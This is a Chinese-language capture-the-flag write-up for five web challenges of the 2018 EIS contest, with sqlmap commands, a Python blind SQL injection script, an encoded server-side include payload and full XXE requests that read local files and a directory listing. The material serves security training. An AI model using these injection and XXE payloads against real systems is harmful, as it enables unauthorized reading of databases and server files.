2018 EIS Web writeup

Z3R0YU

2018-11-17

SimpleBBS

题目描述:

SimpleBBS

http://bbs.sec.zju.edu.cn/

题目解析:

1.登录处报错

2.导出burp的包使用sqlmap进行测试

1	sqlmap -r bbs.txt --dbs

1
2
3

available databases [2]:
[*] bbs
[*] information_schema

1	sqlmap -r bbs.txt -D "bbs" --tables

Database: bbs
[7 tables]
+----------+
| admin    |
| articles |
| comments |
| flag     |
| messages |
| sections |
| users    |
+----------+

1	sqlmap -r bbs.txt -D "bbs" --tables

Database: bbs
[7 tables]
+----------+
| admin    |
| articles |
| comments |
| flag     |
| messages |
| sections |
| users    |
+----------+

1	sqlmap -r bbs.txt -D "bbs" -T "flag" -C "f" --dump

# 测试的时候已经没有flag了....
Database: bbs
Table: flag
[1 entry]
+---------+
| f       |
+---------+
| <blank> |
+---------+

SimpleBlog

题目描述:

SimpleBlog

http://210.32.4.20/

题目解析:

刚开始一直再找文件包含想看下源码，后来是在找不到就认真做了下题目。发现直接二次注入就好了，如果注入内容存在后面做题的分数会为0。

import requests
import string
import urllib

flag=""

register = 'http://210.32.4.20/register.php'
login = 'http://210.32.4.20/login.php'
answer = 'http://210.32.4.20/answer.php'
logout = 'http://210.32.4.20/logout.php'

for i in range(3,50):
    for j in range(32,126):
        print "i:",chr(i),"j",chr(j)
        req = requests.session()
        payload = "\' or if((ascii(substr((select flag from flag),"+str(i)+",1))="+str(j)+"),1,0)='1' or \'"
        post_answer = {'1.a':'on'}
        login_data = {'username':urllib.quote(payload),'password':'zeroyu'}
        r = req.post(register,data=login_data)
        lin = req.post(login,data=login_data)
        ans = req.post(answer,data=post_answer) 
        
        if 'Your grades is 0' not in ans.content:
            f=chr(j)
            print f
            flag=flag+f
            print flag
            break
        lout = req.get(logout)

SimpleServerInjection

题目描述:

SimpleServerInjection, SSI, flag in current directory

http://210.32.4.22/index.php

题目解析:

了解到是ssi，提示了读flag文件，常规payload发现#号后内容被截断，于是采用编码绕过。

payload

1	<!--%23include+virtual%3D"flag"+-->

参考:

https://junookyo.blogspot.com/2012/03/shtml-bypass-view-symlink-server-side.html

https://www.secpulse.com/archives/66934.html

http://xdxd.love/2015/12/09/ssi%E6%BC%8F%E6%B4%9E%E4%BB%8B%E7%BB%8D/

SimpleExtensionExplorerInjection

题目描述:

SimpleExtensionExplorerInjection, XXE, /flag

http://210.32.4.21:8080/www/index.html

题目解析:

1.burp抓包发现采用json格式传输数据

2.修改Content-Type字段为xml，尝试post xml格式数据

根据请求和响应发现存在xxe漏洞

请求

POST /www/ HTTP/1.1
Host: 210.32.4.21:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://210.32.4.21:8080/www/index.html
Content-Type: application/xml; charset=UTF-8
Content-Length: 73
Connection: close

<?xml version="1.0" encoding="UTF-8" ?>
<name>zzz</name>
<age>zzz</age>

响应

HTTP/1.1 500 
Content-Type: application/json;charset=UTF-8
Date: Fri, 16 Nov 2018 09:17:40 GMT
Connection: close
Content-Length: 254

{"timestamp":"2018-11-16T09:17:40.797+0000","status":500,"error":"Internal Server Error","message":"org.xml.sax.SAXParseException; lineNumber: 3; columnNumber: 2; The markup in the document following the root element must be well-formed.","path":"/www/"}

3.依据提示/flag，直接去读文件

请求

POST /www/ HTTP/1.1
Host: 210.32.4.21:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://210.32.4.21:8080/www/index.html
Content-Type: application/xml; charset=UTF-8
Content-Length: 151
Connection: close

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///flag" >]>
<root>
<name>name</name>
<age>&xxe;</age>
</root>

响应:

HTTP/1.1 200 
Content-Type: text/plain;charset=UTF-8
Content-Length: 64
Date: Fri, 16 Nov 2018 09:21:23 GMT
Connection: close

Received name: name, age: EIS{bce52c116d589ae9472e59a162cc90e2}

参考:

https://blog.netspi.com/playing-content-type-xxe-json-endpoints/

https://thief.one/2017/06/20/1/

SimplePrintEventLogger

题目描述:

SimplePrintEventLogger, same server as SimpleExtensionExploreInjection , RCE, flag in /

http://210.32.4.21:8080/www/index.html

题目解析:

同一个题目的服务器上，flag在根目录，手动翻一下就好

请求

POST /www/ HTTP/1.1
Host: 210.32.4.21:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://210.32.4.21:8080/www/index.html
Content-Type: application/xml; charset=UTF-8
Content-Length: 147
Connection: close

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///" >]>
<root>
<name>name</name>
<age>&xxe;</age>
</root>

响应

HTTP/1.1 200 
Content-Type: text/plain;charset=UTF-8
Content-Length: 169
Date: Fri, 16 Nov 2018 16:46:04 GMT
Connection: close

Received name: name, age: .dockerenv
bin
boot
dev
docker-java-home
etc
flag
flagvvvvvaaaagegsgag2333
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

读取flagvvvvvaaaagegsgag2333

请求

POST /www/ HTTP/1.1
Host: 210.32.4.21:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://210.32.4.21:8080/www/index.html
Content-Type: application/xml; charset=UTF-8
Content-Length: 171
Connection: close

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///flagvvvvvaaaagegsgag2333" >]>
<root>
<name>name</name>
<age>&xxe;</age>
</root>

响应

HTTP/1.1 200 
Content-Type: text/plain;charset=UTF-8
Content-Length: 64
Date: Fri, 16 Nov 2018 16:47:38 GMT
Connection: close

Received name: name, age: EIS{f501e9c5323c560b0a40192ce9b7ad38}